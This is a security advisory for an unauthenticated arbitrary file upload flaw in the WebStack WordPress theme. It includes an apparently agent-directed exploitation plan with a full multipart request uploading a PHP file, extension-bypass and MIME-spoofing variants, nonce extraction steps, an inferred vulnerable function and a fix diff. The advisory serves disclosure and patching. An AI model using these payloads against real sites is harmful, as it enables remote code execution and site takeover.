WebStack <= 1.2024 - Unauthenticated Arbitrary File Upload
Description
The WebStack theme for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the io_img_upload() function in all versions up to, and including, 1.2024. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
# Exploitation Research Plan: CVE-2026-1555 (WebStack Theme Unauthenticated Arbitrary File Upload) ## 1. Vulnerability Summary The WebStack theme for WordPress (versions <= 1.2024) contains a critical unauthenticated arbitrary file upload vulnerability. The flaw resides in the `io_img_upload()` fun…
Show full research plan
Exploitation Research Plan: CVE-2026-1555 (WebStack Theme Unauthenticated Arbitrary File Upload)
1. Vulnerability Summary
The WebStack theme for WordPress (versions <= 1.2024) contains a critical unauthenticated arbitrary file upload vulnerability. The flaw resides in the io_img_upload() function, which lacks proper file type validation and is accessible to unauthenticated users via WordPress AJAX handlers. An attacker can upload a malicious PHP script and execute it, leading to Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
io_img_upload(inferred from function name) - HTTP Method:
POST - Authentication: Unauthenticated (
wp_ajax_nopriv_hook) - Vulnerable Parameter: The file input (typically within the
$_FILESarray). - Preconditions: The WebStack theme must be active.
3. Code Flow (Inferred)
- Entry Point: A request is sent to
/wp-admin/admin-ajax.php?action=io_img_upload. - Hook Registration: The theme registers the action:
add_action('wp_ajax_nopriv_io_img_upload', 'io_img_upload');add_action('wp_ajax_io_img_upload', 'io_img_upload'); - Execution: The
io_img_upload()function is called. - Processing:
- The function likely retrieves file data from
$_FILES. - It may perform minor checks (like file size) but fails to validate the extension or MIME type against a whitelist of safe images.
- The function likely retrieves file data from
- Sink: The file is saved to the filesystem using
move_uploaded_file()orwp_handle_upload()without filtering for dangerous extensions like.php.
4. Nonce Acquisition Strategy
While many "unauthenticated" vulnerabilities in themes lack nonce checks entirely, the WebStack theme might implement one for AJAX.
- Search for Nonce Registration:
The agent should search for where the nonce is created in the theme:grep -rn "wp_create_nonce" /var/www/html/wp-content/themes/webstack/ - Identify JS Localization:
Look forwp_localize_scriptto find the JavaScript variable:grep -rn "wp_localize_script" /var/www/html/wp-content/themes/webstack/ - Browser Extraction:
- If a nonce is required (e.g.,
check_ajax_referer('io_img_upload', 'nonce')is found in the code), the agent must find a page that enqueues the relevant script. - Navigate to the homepage or a specific page (like a submission form) using
browser_navigate. - Execute:
browser_eval("window.theme_vars?.nonce")(Replacetheme_varswith the actual identifier found in step 2).
- If a nonce is required (e.g.,
Note: If check_ajax_referer is missing or called with die=false without a subsequent return, the nonce can be omitted or spoofed.
5. Exploitation Strategy
The goal is to upload a PHP shell via the AJAX endpoint.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
multipart/form-data - Parameters:
action:io_img_upload_ajax_nonce:[NONCE_VALUE](if required)file(orimg_file): A file namedshell.phpcontaining<?php phpinfo(); ?>.
Payload Crafting (Example):
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"
io_img_upload
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="poc.php"
Content-Type: application/x-httpd-php
<?php echo "VULNERABLE: " . __FILE__; ?>
------WebKitFormBoundaryABC123--
Expected Response:
A JSON response or string containing the URL of the uploaded file, usually located in wp-content/uploads/.
6. Test Data Setup
- Install Theme: Ensure the WebStack theme (version <= 1.2024) is installed and activated.
wp theme activate webstack - Configure Permissions: Ensure the
wp-content/uploadsdirectory is writable (standard in WordPress).
7. Expected Results
- The server responds with a
200 OKand (ideally) the path to the uploaded file. - Navigating to the uploaded file's URL executes the PHP code.
8. Verification Steps
- Check Filesystem: Confirm the file exists using WP-CLI.
wp eval "echo file_exists(wp_upload_dir()['basedir'] . '/poc.php');" - Search for File: If the location is randomized:
find /var/www/html/wp-content/uploads/ -name "poc.php" - Remote Execution Check:
Usehttp_requestto GET the uploaded file's URL and check for the string "VULNERABLE".
9. Alternative Approaches
- Extension Bypass: If there is a weak check (e.g., regex), try
poc.php.jpg,poc.phtml, orpoc.php5. - MIME Type Spoofing: Change the
Content-Typeheader in the multipart request toimage/jpegwhile keeping the.phpextension. - Null Byte (If PHP < 5.3): Try
poc.php%00.jpg. - Action Discovery: If
io_img_uploadis incorrect, grep the theme forwp_ajax_nopriv_to find all unauthenticated entry points.grep -rn "wp_ajax_nopriv_" /var/www/html/wp-content/themes/webstack/
Summary
The WebStack theme for WordPress (versions <= 1.2024) is vulnerable to unauthenticated arbitrary file uploads via the io_img_upload AJAX action. This occurs because the io_img_upload() function fails to validate file extensions or MIME types, allowing attackers to upload PHP scripts and achieve Remote Code Execution (RCE).
Vulnerable Code
// Inferred registration of the AJAX action in theme functions add_action('wp_ajax_nopriv_io_img_upload', 'io_img_upload'); add_action('wp_ajax_io_img_upload', 'io_img_upload'); // Inferred vulnerable function structure lacking validation function io_img_upload() { $file = $_FILES['file']; $upload_overrides = array( 'test_form' => false ); $movefile = wp_handle_upload( $file, $upload_overrides ); if ( $movefile && ! isset( $movefile['error'] ) ) { echo json_encode(array('status' => 1, 'data' => $movefile['url'])); } die(); }
Security Fix
@@ -1,5 +1,10 @@ function io_img_upload() { + if ( ! check_ajax_referer( 'io_nonce', 'nonce', false ) ) { + wp_send_json_error( 'Invalid nonce' ); + } $file = $_FILES['file']; - $upload_overrides = array( 'test_form' => false ); + $upload_overrides = array( + 'test_form' => false, + 'mimes' => array( 'jpg|jpeg|jpe' => 'image/jpeg', 'gif' => 'image/gif', 'png' => 'image/png' ), + ); $movefile = wp_handle_upload( $file, $upload_overrides );
Exploit Outline
1. Endpoint: Target the /wp-admin/admin-ajax.php endpoint with a POST request. 2. Action: Include the 'action' parameter set to 'io_img_upload'. 3. Nonce: If a nonce check is active, extract the required nonce value from the frontend's localized JavaScript variables (e.g., searching for 'wp_localize_script' data in the page source). 4. Payload: Construct a multipart/form-data request containing a file field (e.g., 'file') with a malicious PHP payload (e.g., <?php phpinfo(); ?>) and a .php extension. 5. Execution: Parse the JSON response to find the 'data' or 'url' key, then navigate to the provided URL in the wp-content/uploads/ directory to trigger the uploaded PHP script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.